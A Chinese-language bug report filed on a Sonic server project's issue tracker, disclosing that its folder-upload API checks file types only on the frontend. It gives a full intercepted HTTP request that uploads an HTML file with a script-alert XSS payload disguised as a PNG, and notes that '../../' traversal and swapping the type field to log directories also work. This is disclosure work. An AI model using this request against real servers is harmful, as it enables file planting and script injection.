[Bug] 任意文件上传和目录穿越

[zjxlovedrq]

Search before asking

• I searched in the issue and found nothing similar. | 我查找了并确认issue列表无相似报告。

Sonic version

最新服务器版

Deploy platform

window10

Minimal reproduce step

这个上传接口只有前端验证 可以上传png 然后抓包进行绕过

包：
POST /server/api/folder/upload HTTP/1.1
Host: ip
Content-Length: 460
SonicToken:
Accept-Language: zh_CN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1AHSz0CNwNeWDnSP
Accept: /
Origin:
Referer:
Accept-Encoding: gzip, deflate
Connection: close

------WebKitFormBoundary1AHSz0CNwNeWDnSP
Content-Disposition: form-data; name="file"; filename="svgxss1.html"
Content-Type: image/png

<script>alert(1)</script> ------WebKitFormBoundary1AHSz0CNwNeWDnSP Content-Disposition: form-data; name="type"

imageFiles
------WebKitFormBoundary1AHSz0CNwNeWDnSP--

另外以跨目录进行上传

../../也可以
另外还纯在越权

可改为logfiles 和目录中其他的

Are you willing to submit a PR?

• I'm willing to submit a PR! | 我将发起PR！